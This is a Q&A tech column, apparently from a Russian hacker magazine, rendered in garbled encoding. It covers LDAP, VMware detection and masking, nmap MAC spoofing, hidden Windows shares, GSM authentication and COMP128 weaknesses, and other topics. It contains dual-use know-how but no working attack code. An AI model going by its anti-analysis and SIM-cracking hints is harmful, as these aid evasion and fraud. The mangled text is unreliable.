ÊÎÒÎÐÛÅ ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍÍÎÌ ÆÅËÀÍÈÈ ÌÎ-
ÆÅØÜ ÍÀÉÒÈ È ÑÀÌ. ß ÍÅ ÒÅËÅÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊ-
ÐÅÒÈÇÈÐÓÉ ÂÎÏÐÎÑ, ÏÐÈÑÛËÀÉ ÊÀÊ ÌÎÆÍÎ ÁÎËÜ-
ØÅ ÈÍÔÎÐÌÀÖÈÈ.

QQ:: ××òòîî òòààêêîîåå LLDDAAPP èè ññ ÷÷ååìì ååããîî,, ññîîááññòòââååííííîî,, ååääÿÿòò??
A: Â ëþáîé ïî÷òîâîé ïðîãðàììå åñòü àäðåñíàÿ êíèãà, è òû
ëåãêî ìîæåøü íàïèñàòü ñîîáùåíèå ëþáîìó èç àäðåñàòîâ.
Íî ÷òî äåëàòü, åñëè e-mail'à íóæíîãî ÷åëîâåêà (ñêàæåì,
êîëëåãè ïî ðàáîòå èëè îäíîãðóïïíèêà) â ýòîé êíèãå íåò? 
Â ýòîì ñëó÷àå óäîáíî áûëî áû íàéòè ñîîòâåòñòâóþùóþ çà-
ïèñü â ñïåöèàëüíîì ñïðàâî÷íèêå, êîòîðûé ìîæíî öåíòðà-
ëèçîâàííî îðãàíèçîâàòü ñ ïîìîùüþ òåõíîëîãèè LDAP.
LDAP (Lightweight Directory Access Protocol) � ýòî ïðîòîêîë
äëÿ äîñòóïà ê ñëóæáå êàòàëîãîâ. Îí èñïîëüçóåò TCP/IP è
ïîçâîëÿåò ïðîèçâîäèòü îïåðàöèè àóòåíòèôèêàöèè (bind),
ïîèñêà (search) è ñðàâíåíèÿ (compare), à òàêæå îïåðàöèè
äîáàâëåíèÿ, èçìåíåíèÿ èëè óäàëåíèÿ çàïèñåé. Âîçâðàùà-
ÿñü ê íàøåìó ïðèìåðó, êëèåíò ìîæåò ïîäêëþ÷èòüñÿ ê LDAP-
ñåðâåðó è âûïîëíèòü çàïðîñ ïî ïîâîäó e-mail'à íóæíîãî åìó
÷åëîâåêà, è åñëè ñîîòâåòñòâóþùàÿ çàïèñü â áàçå äàííûõ
ïðèñóòñòâóåò, ïîëó÷èòü ðåçóëüòàò.
LDAP-ñåðâåð èíäåêñèðóåò âñå äàííûå èç çàïèñåé è ïîçâîëÿåò îðãàíèçî-
âûâàòü ïîèñê ñ ïîìîùüþ ñïåöèàëüíûõ ôèëüòðîâ. Åñëè ïåðåâîäèòü çàïðî-
ñû íà ïîíÿòíûé ÿçûê, òî ïîëó÷èòñÿ ÷òî-òî âðîäå: «Íàéòè âñåõ ëþäåé, êî-
òîðûå ðàáîòàþò â èçäàòåëüñòâå Gameland ñ 2003 ãîäà. Âåðíóòü èõ ÔÈÎ è
e-mail àäðåñà». Èç ýòîãî ïðèìåðà äîëæíî áûòü ÿñíî, ÷òî LDAP íå îãðàíè-
÷èâàåòñÿ õðàíåíèåì îäíèõ ëèøü e-mail è êîíòàêòíîé èíôîðìàöèè â ïðèí-
öèïå. Î÷åíü åãî èñïîëüçóþò äëÿ õðàíåíèÿ ñåðòèôèêàòîâ øèôðîâàíèÿ, ïà-
ðîëåé è äðóãîé òåõíè÷åñêîé èíôîðìàöèè. Êàê è ëþáîé ïðîòîêîë, LDAP íå
îïðåäåëÿåò, êàê äîëæíû ðàáîòàòü ñåðâåðíûå è êëèåíòñêèå ïðîãðàììû.
Íî çàòî îí îïðåäåëÿåò ÿçûê, íà êîòîðîì êëèåíòû îáðàùàþòñÿ ê ñåðâåðó
(âïðî÷åì, è ñåðâåð ñ ñåðâåðîì). Â êà÷åñòâå êëèåíòñêîãî ïðèëîæåíèÿ ìî-
æåò áûòü è ïî÷òîâàÿ ïðîãðàììà, à ìîæåò ñèñòåìà àóòåíòèôèêàöèè è çà-
ùèòû. Ñåðâåð îáû÷íî ïðèíèìàåò âõîäÿùèå ñîåäèíåíèÿ íà 389 ïîðò. Íî
åñëè èñïîëüçóåòñÿ çàùèùåííîå ñîåäèíåíèå (ïàêåòû èíêàïñóëèðóþòñÿ â
SSL), òî äëÿ ñåðâåðà îáû÷íî íàçíà÷àþò ïîðò ñ íîìåðîì 636.
Ïàðó ñëîâ î ñòðóêòóðå õðàíåíèÿ äàííûõ. LDAP îïðåäåëÿåò òàê íàçûâàå-
ìûå ðàçðåøåíèÿ, êîòîðûå óñòàíàâëèâàþòñÿ àäìèíèñòðàòîðîì, è ïîçâîëÿ-
åò êîíêðåòíûì ëþäÿì îáðàùàòüñÿ ê LDAP áàçå äàííûõ. Ïîìèìî ýòîãî, ôè-
ãóðèðóåò òàêîå ïîíÿòèå, êàê «ñõåìà». Åãî íóæíî âîñïðèíèìàòü êàê ôîðìàò
îïèñàíèÿ äàííûõ è èõ àòðèáóòîâ íà ñåðâåðå. Ê ïðèìåðó, ìîæíî îïðåäåëèòü
ôîðìàò õðàíåíèÿ äàííûõ î ñîòðóäíèêàõ (worker), êàæäàÿ çàïèñü êîòîðûõ
áóäåò ñîäåðæàòü èìÿ (fist_name), ôàìèëèþ (last_name) è e-mail.



QQ:: ÏÏîî ääîîëëããóó ññëëóóææááûû ììííåå ÷÷ààññòòîî ïïððèèõõîîääèèòòññÿÿ èèììååòòüü ääååëëîî ññ ððààááîîòòîîéé ïïîîää ââèèðð-
òòóóààëëüüííûûììèè ììààøøèèííààììèè.. ÂÂ îîññííîîââííîîìì,, ððààááîîòòààþþ ññ WWMMwwaarree,, ííîî ììååññòòààììèè èèññ-
ïïîîëëüüççóóþþ èè VViirrttuuaallPPCC.. ÏÏððîîááëëååììàà ààêêòòóóààëëüüííàà ääëëÿÿ îîááîîèèõõ ïïððîîããððààìììì èè ççààêêëëþþ÷÷àà-
ååòòññÿÿ ââ òòîîìì,, ÷÷òòîî ííååêêîîòòîîððûûåå ïïððèèëëîîææååííèèÿÿ êêààêêèèìì-òòîî îîááððààççîîìì îîïïððååääååëëÿÿþþòò èèññ-
ïïîîëëüüççîîââààííèèåå ââèèððòòóóààëëüüííîîéé ììààøøèèííûû èè,, êêààêê ññëëååääññòòââèèåå,, îîòòêêààççûûââààþþòòññÿÿ ððààááîî-
òòààòòüü.. ÝÝòòîî ââ ÷÷ààññòòííîîññòòèè êêààññààååòòññÿÿ ííååêêîîòòîîððûûõõ ááîîòòîîââ,, ÷÷ååððââååéé èè òò..ïï.. ÂÂ èèòòîîããåå ÿÿ ííåå
ììîîããóó ççààïïóóññòòèèòòüü èè ïïððîîààííààëëèèççèèððîîââààòòüü èèõõ.. ÐÐààññññêêààææèè,, êêààêêèèìì îîááððààççîîìì îîííèè ääåå-
òòååêêòòÿÿòò WWMMwwaarree èè êêààêê ýýòòîî ììîîææííîî îîááîîééòòèè..
A: Îäíèì èç ñïîñîáîâ äåòåêòèðîâàòü èñïîëüçîâàíèå WMware � ñ÷èòàòü èí-
ôîðìàöèþ î áèîñå êîìïüþòåðà. Âèðòóàëüíàÿ ìàøèíà èñïîëüçóåò ñâîé
ñîáñòâåííûé è î÷åíü ñïåöèôè÷íûé áèîñ, êîòîðûé íèêîãäà áû íå ñòàëè èñ-
ïîëüçîâàòü íà îáû÷íîì PC. Ïîíèìàåøü, êóäà ÿ êëîíþ? Åñëè ñ÷èòàòü èíôîð-
ìàöèþ î áèîñå è ïðîàíàëèçèðîâàòü åå, òî îïðåäåëèòü èñïîëüçîâàíèå âèðòó-
àëüíîé ìàøèíå áóäåò ïóñòÿêîâîé çàäà÷åé. Åñëè òû âíèìàòåëüíî ÷èòàë
ñòàòüè â «Êîäèíãå», òî, âîçìîæíî, ñìîæåøü íàïèñàòü òàêóþ óòèëèòêó ñàì. 
Â îòâåò íà çàïðîñ îá áèîñå òû ïîëó÷èøü ïðèìåðíî ñëåäóþùóþ èíôîðìàöèþ:
BIOS Date: 10/16/01
BIOS Signon: unknown
BIOS Type: PhoenixBIOS 4.0 Release 6.0 licensed to Intel
Super I/O: unknown
Chipset: Intel 440BX/ZX rev 1 
Òèï áèîñà PhoenixBIOS âûäàåò âèðòóàëüíóþ ìàøèíó ñ ïîòðîõàìè. Íî ïî-
ìèìî íåãî åñòü è äðóãèå ïðåäàòåëè. Âî-ïåðâûõ, ýòî ñïåöèôè÷åñêîå îáîðó-
äîâàíèå, êîòîðîå èñïîëüçóåò VMware: âèäåîêàðòó VMware Inc [VMware
SVGA II] PCI Display Adapter, ñåòåâóþ êàðòó Advanced Micro Devices [AMD]
79c970 [PCnet 32 LANCE] (rev 10), æåñòêèå äèñêè VMware Virtual IDE Hard
Drive (èëè VMware SCSI Controller). Âî-âòîðûõ, MAC-àäðåñ ñåòåâîé êàðòû.
È, â-òðåòüèõ, ñïåöèàëüíàÿ ñèñòåìíàÿ ôóíêöèÿ, íàìåðåííî îñòàâëåííàÿ
ðàçðàáîò÷èêàìè è ïðåäíàçíà÷åííàÿ äëÿ îïðåäåëåíèÿ WMware. Îäíàêî çà-
ìàñêèðîâàòü âèðòóàëüíóþ ìàøèíó âñå-òàêè ìîæíî � äëÿ ýòîãî íóæíî âîñ-
ïîëüçîâàòüñÿ ñïåöèàëüíûì ïàò÷åì äëÿ WMware, êîòîðûé íàïèñàë Kostya
Kortchinsky èç ôðàíöóçñêîãî ïðîåêòà Honeynet. Ïàò÷ òû ñìîæåøü çàêà÷àòü
çäåñü � http://honeynet.rstack.org/tools/vmpatch.c.

QQ:: ÅÅññòòüü ííååññêêîîëëüüêêîî ääîîììååííîîââ,, êêîîòòîîððûûåå ááûû îî÷÷ååííüü ïïîîììîîããëëèè ììííåå ââ ïïððîîääââèèææååííèèèè
ýýëëååêêòòððîîííííîîããîî ááèèççííååññàà ((ííååââààææííîî,, êêààêêîîããîî)).. ÑÑððîîêê èèõõ ääååëëååããèèððîîââààííèèÿÿ ññêêîîððîî ççàà-
êêààíí÷÷èèââààååòòññÿÿ,, ííîî ââëëààääååëëüüööûû óóææåå ííååññêêîîëëüüêêîî ððààçç îîïïëëàà÷÷èèââààëëèè îîááññëëóóææèèââààííèèåå
ââ ïïîîññëëååääííèèéé ììîîììååííòò.. ßß óóññòòààëë ââ ððóó÷÷ííóóþþ ïïððîîââååððèèòòüü èèõõ ääààííííûûåå ïïîî wwhhooiiss-ááààççåå..
ÂÂîîççììîîææííîî,, ññóóùùååññòòââóóååòò ññååððââèèññ,, êêîîòòîîððûûéé ááóóääååòò îîòòññëëååææèèââààòòüü ääîîññòòóóïïííîîññòòüü
ääîîììååííîîââ ççàà ììååííÿÿ??
A: ×òî æå ýòî çà ñåêðåòíûé áèçíåñ òàêîé, à? Ïîäõîäÿùèé ñåðâèñ íà ñàìîì
äåëå åñòü � www.pool.com. È ïðåäîñòàâëÿåò îí íàìíîãî áîëüøå âîçìîæíîñ-
òåé, êîòîðûì òû íåïðåìåííî îáðàäóåøüñÿ. Ïåðâàÿ ôèøêà � ïîñòîÿííûé ìî-
íèòîðèíã çàðåãèñòðèðîâàííûõ äîìåíîâ. Òû âíîñèøü áàçó èíòåðåñóþùèå òå-
áÿ äîìåíû è âêëþ÷àåøü ïîñòîÿííîå ñëåæåíèå. Êàê òîëüêî äîìåí îñâîáîäèò-
ñÿ, òî åñòü âëàäåëåö íå çàõî÷åò èëè ïîïðîñòó çàáóäåò ïðîäëèòü îáëóæèâàíèå
äîìåíà, www.pool.com ìãíîâåííî çàðåãèñòðèðóåò åãî íà òåáÿ. Ïîíÿòíî, ÷òî
íà ñâîé ñòðàõ è ðèñê ñåðâèñ ðàáîòàòü íå áóäåò. Ïåðåä èñïîëüçîâàíèåì ñåð-
âèñà òåáå ñ ïîìîùüþ êðåäèòêè íåîáõîäèìî ïîïîëíèòü ñâîé âíóòðåííèé ñ÷åò,
êîòîðûé è áóäåò èñïîëüçîâàòüñÿ äëÿ ïðîïëàòû äîìåíîâ. 

QQ:: ××òòîî òòààêêîîåå MMTTUU??
A: MTU (Maximum Transmission Unit) � ýòî ìàêñèìàëüíûé
áëîê ïåðåäà÷è äàííûõ, ïàðàìåòð êîòîðûé èãðàåò âàæíóþ
ðîëü â ëîêàëüíûõ ñåòÿõ. MTU îïðåäåëÿåò ìàêñèìàëüíûé ðàç-
ìåð IP-ïàêåòà, êîòîðûé ìîæíî ïåðåäàâàòü ÷åðåç IP-èíòåð-
ôåéñ, íå ðàçáèâàÿ íà ìåíüøèå ÷àñòè. Òî åñòü åñëè çíà÷åíèå
MTU ðàâíî 1500 áàéò (ýòî òèïè÷íîå åãî çíà÷åíèå äëÿ
Ethernet-ñåòåé), à ðàçìåð ïåðåäàâàåìûõ äàííûõ ðàâåí 1600
áàéò, òî äàííûå áóäóò ïîäåëåíû íà 2 IP-ïàêåòà. Åñëè áû èõ
ðàçìåð íå ïðåâûøàë 1500, òî âñå îíè áûëè áû ïîìåùåíû â
îäèí ïàêåò. Âàæíî îòìåòèòü, ÷òî íà ðàçíûõ ó÷àñòêàõ ñëåäîâà-
íèÿ IP-ïàêåòà MTU ìîæåò îòëè÷àòüñÿ. Òàê, åñëè ïàêåò íå áûë
ôðàãìåíòèðîâàí â ìîìåíò îòïðàâêè, îí ëåãêî ìîæåò áûòü ïî-
äåëåí íà îäíî èç óçëîâ ñâîåãî ìàðøðóòà.

QQ:: ÀÀ ññóóùùååññòòââóóååòò ëëèè òòààêêîîéé ððååññóóððññ,, ããääåå ììîîææííîî ïïîîññììîîòòððååòòüü,,
êêààêê ââûûããëëÿÿääååëëèè ññààééòòûû ííååññêêîîëëüüêêîî ëëååòò ííààççààää?? ××òòîî-òòîî ââððîîääåå
ààððõõèèââàà ÈÈííòòååððííååòòàà,, êêîîòòîîððûûéé èèííääååêêññèèððóóååòò ïïîîïïóóëëÿÿððííûûåå ññààééòòûû
ççàà ííååññêêîîëëüüêêîî ëëååòò èè ïïîîççââîîëëÿÿååòò ïïððîîññììîîòòððååòòüü èèõõ ññîîääååððææèèììîîåå
èèííääååêêññàà.. ÇÇííààêêîîììûûéé óóââååððÿÿååòò,, ÷÷òòîî òòààêêîîéé ððååññóóððññ ññóóùùååññòòââóóååòò,,
ííîî ììííåå ÷÷òòîî-òòîî ññëëààááîî ââååððèèòòññÿÿ.. ÝÝòòîî ææåå îîããððîîììííûûåå îîááúúååììûû èèíí-
ôôîîððììààööèèèè,, èèëëèè ÿÿ ííåå ïïððààââ??
A: Ïðåäñòàâü ñåáå, â 1996 ãîäó íàøëèñü ëþäè, êîòîðûå âçÿ-
ëèñü çà ýòó, êàçàëîñü áû, íåðåàëüíóþ çàäà÷ó è ïðîèíäåêñè-
ðîâàëè âåñü Èíòåðíåò. Ðåçóëüòàòû ðàáîòû ñåðâèñà â àáñî-
ëþòíî ñâîáîäíîì âèäå äîñòóïíû íà ñàéòå web.archive.org. [X
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Íóæíî ëè ââåñòè URL èíòåðåñóþùåãî òåáÿ ðåñóðñà, ïîñëå ÷åãî àðõèâ
âîçâðàòèò ññûëêè íà âíåøíèé âèä ñòðàíèö ðåñóðñà çà íåñêîëüêî ëåò. 
ß âîò ñ óäîâîëüñòâèåì ïîñìîòðåë íà ïðîåêòû, êîòîðûìè ñ îãðîìíûì
÷óâñòâîì àëüòðóèçìà çàíèìàëñÿ íåñêîëüêî ëåò íàçàä.

QQ:: ÂÂ êêààææääîîéé ââòòîîððîîéé ññòòààòòüüåå ââûû óóïïîîììèèííààååòòåå ññååòòååââîîéé ññêêààííååðð nnmmaapp.. ÍÍîî ââååääüü
ýýòòîî óóææåå ääîîââîîëëüüííîî ääððååââííèèéé ïïððîîååêêòò èè ääààââííîî ííåå îîááííîîââëëÿÿååòòññÿÿ.. ÍÍååóóææååëëèè ííåå
ññóóùùååññòòââóóååòò ááîîëëåååå ííîîââîîããîî ññððååääññòòââàà??
A: À êòî òåáå ñêàçàë, ÷òî nmap íå îáíîâëÿåòñÿ? ×óøü! Ïîñëå ïðîäîëæè-
òåëüíûõ ïåðåðûâîâ àâòîð âñåãäà âûêëàäûâàåò íîâûå âåðñèè. Â ïîñëåäíåé
âåðñèè � 3,93 � áûëà çíà÷èòåëüíî óëó÷øåíà è îïòèìèçèðîâàíà ôóíêöèÿ
ARP-ñêàíèðîâàíèÿ, äîáàâëåíà íîâàÿ îïöèÿ «--spoof_mac», ïîçâîëÿþùàÿ
çàäàòü ïðîèçâîëüíûé MAC- àäðåñ êîìïüþòåðà, ñ êîòîðîãî ïðîèçâîäèòñÿ
ñêàíèðîâàíèå. Ïîìèìî ýòîãî, àâòîð çíà÷èòåëüíî ðàñøèðèë áàçó èçâåñò-
íûõ ñåðâèñîâ è ïîðòîâ äëÿ ðàñïîçíàâàíèÿ ñåðâèñîâ, à òàêæå áàçó èçâåñò-
íûõ îòïå÷àòêîâ OS � äëÿ èäåíòèôèêàöèè óäàëåííîé îñè. Òàê ÷òî nmap ïî-
ïðåæíåìó ÿâëÿåòñÿ ëó÷øèì ñåòåâûì ñêàíåðîì ñ ìàññîé óíèêàëüíûõ âîç-
ìîæíîñòåé. Äà è âîîáùå ïëîõîãî ìû íå ñîâåòóåì :).

QQ:: ÍÍààììååääííèè ïïððèèîîááððååëë ññååááåå õõîîððîîøøèèéé ññììààððòòôôîîíí èè ññååéé÷÷ààññ ïïûûòòààþþññüü ïïîîççííàà-
êêîîììèèòòüüññÿÿ ññîî ââññååììèè ååããîî ââîîççììîîææííîîññòòÿÿììèè.. ÎÎ÷÷ååííüü õõîî÷÷ååòòññÿÿ ííààëëààääèèòòüü êêîîììôôîî-
ððòòííûûéé ïïððîîññììîîòòðð ââèèääååîî,, ííîî ääëëÿÿ ýýòòîîããîî êêààêêèèìì-òòîî îîááððààççîîìì ííóóææííîî óóììååííüüøøèèòòüü
îîááúúååììííûûåå ââèèääååîîôôààééëëûû ññ ôôèèëëüüììààììèè.. ÍÍåå ââèèææóó ññììûûññëëàà ââîîççèèòòüüññÿÿ ññîî ññëëîîææ-
ííûûììèè ââèèääååîîððååääààêêòòîîððààììèè �� ååññòòüü ññïïîîññîîáá ïïððîîùùåå??
A: Â ýòîé ñèòóàöèè òåáå íàâåðíÿêà ïðèäåòñÿ ïî äóøå íåáîëüøàÿ, íî î÷åíü
ïîëåçíàÿ ïðîãðàììà PocketDivXEncoder (divx.ppccool.com). Ôèøêà óòèëè-
òû çàêëþ÷àåòñÿ â òîì, ÷òî îíà ïîçâîëÿåò áåç ëèøíèõ çàìîðî÷åê ïîäãîòî-
âèòü âèäåî äëÿ ïîñëåäóþùåãî âîñïðîèçâåäåíèÿ íà ìîáèëüíûõ óñòðîé-
ñòâàõ. Âñå, ÷òî îò òåáÿ òðåáóåòñÿ, � ýòî âûáðàòü êîíâåðòèðóåìûé ôàéë è
âûñòàâèòü ïàðàìåòðû êîíå÷íîãî âèäåî. Âî ìíîãîì âûáîðó íåîáõîäèìûõ
ïàðàìåòðîâ ñïîñîáñòâóåò ñàìà ïðîãðàììà, íî íåïëîõî è ñàìîìó ïðåäñòàâ-
ëÿòü ÷òî ê ÷åìó. Íà÷íåì ñ ðàçðåøåíèÿ. Ïîíÿòíî, ÷òî 800x600 â äàííîì ñëó-
÷àå ýòî íåïîçâîëèòåëüíàÿ ðîñêîøü. Ôàéëû ñ òàêèì ðàçðåøåíèåì ïðåäíàç-
íà÷åíû äëÿ ïðîñìîòðà íà îáû÷íûõ êîìïüþòåðàõ è ïîýòîìó âåñÿò íèêàê íå
ìåíüøå 700 Ìá. Åäâà ëè òû ñìîæåøü óìåñòèòü èõ íà ñâîåé ôëåøêå. Äà è
íåíóæíî ýòî. Ñòàíäàðòíûå ðàçðåøåíèÿ ìîáèëüíûõ òåëåôîíîâ ñåãîäíÿ �
ýòî 176õ220, 320õ240, 640õ480. Ïîýòîìó èìååò ñìûñë âûáðàòü òî ðàçðåøå-
íèå âèäåî, êîòîðîå ïîääåðæèâàåò òâîÿ òðóáêà. Ïðîñòàÿ ëîãèêà.
Ïîìèìî ðàçðåøåíèÿ èìååòñÿ åùå äâà âàæíûõ ïàðàìåòðà � áèòðåéò è êî-
ëè÷åñòâî êàäðîâ â ñåêóíäó. Áèòðåéò � ýòî êîëè÷åñòâî áèò, ïðîøåäøåå ÷å-
ðåç ïðåîáðàçóþùåå óñòðîéñòâî (äåêîäåð) çà åäèíèöó âðåìåíè. ×åì áîëü-
øå áèòðåéò (èçìåðÿåòñÿ â êáèò/ñ), òåì áîëåå êà÷åñòâåííàÿ êàðòèíêà áóäåò
íà âûõîäå. Ðåêîìåíäóþ íåñêîëüêî ðàç ïîýêñïåðèìåíòèðîâàòü ñ ýòèì ïàðà-
ìåòðîì, ÷òîáû âûáðàòü äëÿ ñâîåãî òåëåôîíà îïòèìàëüíîå çíà÷åíèå. ×òî
êàñàåòñÿ êîëè÷åñòâà êàäðîâ â ñåêóíäó, òî ñòàíäàðòíûì çíà÷åíèåì çäåñü
ÿâëÿåòñÿ ÷èñëà èç äèàïàçîíà îò 24 äî 29. Ïðàâäà, äëÿ ïðîèãðûâàíèÿ âèäåî
íà ìîáèëüíûõ äåâàéñàõ òàêèå õàðàêòåðèñòèêè îïÿòü æå íå òðåáóþòñÿ, è
ýòîò ïàðàìåòð âïîëíå ìîæíî ñíèçèòü äî 15 êàäðîâ/c.

QQ:: ÍÍååääààââííîî ïïîîððòòèèððîîââààëë ïïîîää LLiinnuuxx ïïððîîññòòååííüüêêóóþþ WWiinnddoowwss-ïïððîîããððààììììóó 
èè ññ óóääèèââëëååííèèååìì îîááííààððóóææèèëë,, ÷÷òòîî KKDDEE èèññïïîîëëüüççóóååòò ññîîââååððøøååííííîî ääððóóããîîéé
ôôîîððììààòò èèêêîîííîîêê.. ÂÂììååññòòîî ïïððèèââûû÷÷ííîîããîî IICCOO ôôààééëëûû èèêêîîííîîêê õõððààííÿÿòòññÿÿ ââ XXPPMM..
××òòîî îîññîîááååííííîîããîî ââ ýýòòîîìì ôôîîððììààòòåå??
A: XPM (X PixMap) � ýòî òåêñòîâûé ASCII-ôîðìàò äëÿ õðàíåíèå èçîáðàæå-
íèé, êîòîðûé àêòèâíî èñïîëüçóåò X Window. Ëþáàÿ êàðòèíêà â ôîðìàòå
XPM � ýòî ìàññèâ, îïèñàííûé â ñèíòàêñèñå ANSI C. Ëó÷øåãî îáúÿñíåíèå,
÷åì õîðîøèé ïðèìåð, çäåñü íàéòè òðóäíî. 
/* XPM */
/* ìàññèâ ñ èíôîðìàöèåé îá èçîáðàæåíèè */
static char * roundb_xpm[] = {
/* øèðèíà âûñîòà êîëè÷åñòâî_öâåòîâ cpp [x_hot y_hot] */
"13 13 5 2 7 7",
/* êàæäàÿ ñëåäóþùàÿ ñòðî÷êà îïðåäåëÿò ñèìâîë äëÿ îòîáðàæåíèÿ îïðåäå-
ëåííîãî öâåòà */
" s nonem nonec none",
". s topShadowColor m white c lightblue",
"X s iconColor1 m black c black",
"o s bottomShadowColor m black c #646464646464",
"O s selectColor m white c red",
/* ðàñïîëîæåíèå ïèêñåëåé ñ ïîìîùüþ îïðåäåëåííûõ ðàíåå ñèìâîëîâ*/

"             ",

"     . . .      ",

"   . . X X X o o    ",

''  . X X X X X X X o   ",

"  . X X X X X X X o   ",

" . X X X X O X X X X o  ",

" . X X X O O O X X X o  ",

" . X X X X O X X X X o  ",

"  . X X X X X X X o   ",

"  . X X X X X X X o   ",

"   o o X X X o o    ",

"     o o o      ",

"             "

};

Ïîäðîáíåå î ôîðìàòå ìîæíî ïðî÷èòàòü íà ñòðàíèöå ðàçðàáîò÷èêîâ �
http://koala.ilog.fr/lehors/xpm.html

QQ:: ÊÊààêêèèìì îîááððààççîîìì ììîîææííîî îîòòêêëëþþ÷÷èèòòüü ññêêððûûòòûûåå ððààññøøààððååííííûûåå ððååññóóððññûû ââ
WWiinnddoowwss??
A: Â îïåðàöèîííûõ ñèñòåìà Windows 2000/XP/2003 ïîìèìî îòêðûòûõ ñå-
òåâûõ ðåñóðñîâ, ñîçäàííûõ ïîëüçîâàòåëåì, ñóùåñòâóþò òàê íàçûâàå-
ìûå ñêðûòûå øàðû ADMIN$, IPC$, C$, D$ è ò.ä., ïðåäíàçíà÷åííûå äëÿ
àäìèíèñòðàòîðà. Îíè íå îòîáðàæàþòñÿ â «Ñåòåâîì îêðóæåíèè», íî ê
íèì ìîæíî îáðàòèòüñÿ ÷åðåç UNC-àäðåñ (\\èìÿ_êîìïüþòåðà\èìÿ_ñêðû-
òîé_øàðû$), èìÿ ïðàâà àäìèíèñòðàòîðà. Ïî áîëüøîìó ñ÷åòó, îïàñíîñòè
îíè íå ïðåäñòàâëÿþò, ïîñêîëüêó çàâëàäåòü ó÷åòíîé çàïèñüþ àäìèíèñò-
ðàòîðà íà óäàëåííîé ìàøèíå äîâîëüíî ñëîæíî. Íî ïðè æåëàíèè èõ âñå-
òàêè ìîæíî îòêëþ÷èòü. Äëÿ ýòîãî íàéäè â ðååñòðå îïöèþ AutoShareWks
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lan-
manserver\parameters) èëè, êàê ýòî áóäåò â ñëó÷àå Windows 2000,
AutoShareServer, ïîñëå ÷åãî óñòàíîâè åå çíà÷åíèå â íîëü.
×òî êàñàåòñÿ ñèñòåìíîé øàðû IPC$, òî åå ìîæíî îòêëþ÷èòü òîëüêî ÷å-
ðåç êîìàíäíóþ ñòðîêó: net share IPC$ /delete. Íî äåëàòü ýòî íóæíî òîëü-
êî â òîì ñëó÷àå, åñëè òû õî÷åøü ëèøèòü óäàëåííûõ ïîëüçîâàòåëåé âñÿ-
êîé âîçìîæíîñòè ïîäêëþ÷èòüñÿ ê òâîåìó êîìïüþòåðó.

QQ:: ÊÊààêê îîññóóùùååññòòââëëÿÿååòòññÿÿ ààóóòòååííòòèèôôèèêêààööèèÿÿ ââ GGSSMM-ññååòòÿÿõõ??
A: Ñ ïîìîùüþ SIM-êàðòû. Îíà ñîäåðæèò íå íîìåð òåëåôîíà ñ PIN-îì,
êàê ñ÷èòàþò ìíîãèå, à ñïåöèàëüíûå èäåíòèôèêàöèîííûå äàííûå àáî-
íåíòà, êîòîðûå íåîáõîäèìû äëÿ àâòîðèçàöèè â ñåòè. Ïðîöåññ èäåíòè-
ôèêàöèè íà÷èíàåòñÿ ñ ââîäà ïîëüçîâàòåëåì PIN-êîäà. Äàëåå òåëåôîí
óñòàíàâëèâàåò ñâÿçü ñ áëèæàéøåé áàçîâîé ñòàíöèåé îïåðàòîðà ñâÿçè
è â çàøèôðîâàííîì âèäå ïåðåäàåò åé òàê íàçûâàåìûé IMSI-êîä
(International Mobile Subscriber Identity � Ìåæäóíàðîäíûé Èäåíòèôè-
êàòîð Ìîáèëüíîãî Àáîíåíòà). Ýòîò êîä óíèêàëåí äëÿ êàæäîé êîíêðåò-
íîé SIM-êè è íå ìîæåò ïîâòîðÿòüñÿ. Îïåðàòîð ïðîáèâàåò IMSI ïî ñâî-
åé áàçå è, â ñëó÷àå ñîâïàäåíèÿ (òàêîé àáîíåíò äåéñòâèòåëüíî ñóùåñò-
âóåò), îòïðàâëÿåò ìîáèëüíîé ñòàíöèè 128-ðàçðÿäíîå ñëó÷àéíîå ÷èñëî
(òàê íàçûâàåìîå RAND). Íà òåëåôîíå ýòî ÷èñëî øèôðóåòñÿ ñ ïî-
ìîùüþ àëãîðèòìà A3 è Ki-êëþ÷à, êîòîðûé õðàíèòñÿ íà SIM-êàðòå, ïîñ-
ëå ÷åãî ðåçóëüòàò (òàê íàçûâàåìûé SRES) îòïðàâëÿåòñÿ îáðàòíî îïå-
ðàòîðó. Â áàçå îïåðàòîðà, ïîìèìî IMSI, õðàíÿòñÿ è ñîîòâåòñòâóþùèå
èì Ki-êîäû, ïîýòîìó îí ëåãêî âûïîëíÿåò àíàëîãè÷íûå äåéñòâèÿ. È åñ-
ëè ðåçóëüòàò âû÷èñëåíèé èäåíòè÷åí SRES, ïîëó÷åííîìó îò àáîíåíòà,
àóòåíòèôèêàöèÿ ñ÷èòàåòñÿ óñïåøíîé.
Çàìå÷ó, ÷òî Ki-êîä ïî ðàäèîêàíàëó íå ïåðåäàåòñÿ â ïðèíöèïå è, òà-
êèì îáðàçîì, íå ìîæåò áûòü ïåðåõâà÷åí. Åäèíñòâåííûé ñïîñîá èì
çàâëàäåòü � ñ÷èòàòü èç SIM-êàðòû, íî ýòî òîæå íåïðîñòàÿ çàäà÷à.
IMSI, Ki- è Kc-êîäû õðàíÿòñÿ íà SIM-êàðòå â çàøèôðîâàííîì âèäå. È
åñëè ñ IMSI-êîäîì âñå äîâîëüíî ïðîñòî, òàê êàê îí íåäîñòàòî÷íî çà-
ùèùåí è ëåãêî ïîääàåòñÿ âçëîìó, òî ñ Ki-êîäîì âñå íå òàê ãëàäêî.
Èçâëå÷ü åãî èç SIM-êàðòû íàìíîãî ñëîæíåå, òàê êàê åãî çàùèòó
îáåñïå÷èâàåò ïðîäóìàííûé êðèïòîãðàôè÷åñêèé àëãîðèòì COMP.
Âûäåëÿþò òðè âåðñèè ýòîãî àëãîðèòìà. COMP 128 v.1 èñïîëüçóåòñÿ
áîëüøèíñòâîì îïåðàòîðîâ, COMP 128 v.2 â îáèõîäå ó «Ìåãàôîíà» è
íåñêîëüêèõ ðåãèîíàëüíûõ îïåðàòîðîâ, COMP 128 v.3 íåäàâíî áûë
îäîáðåí, íî ïîêà íå ïîëó÷èë ðàñïðîñòðàíåíèå â Ðîññèè. Âçëîìó
ïîääàåòñÿ òîëüêî ïåðâàÿ âåðñèÿ àëãîðèòìà (ïîäðîáíåå ÷èòàé â #10
ñïåö. âûïóñêå Õ). Èçâåñòíûõ ïîäõîäîâ ê âçëîìó âòîðîé è òðåòüåé
âåðñèè íå ñóùåñòâóåò äî ñèõ ïîð. Äàæå òåîðåòè÷åñêèõ.[X
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"             ",

"     . . .      ",

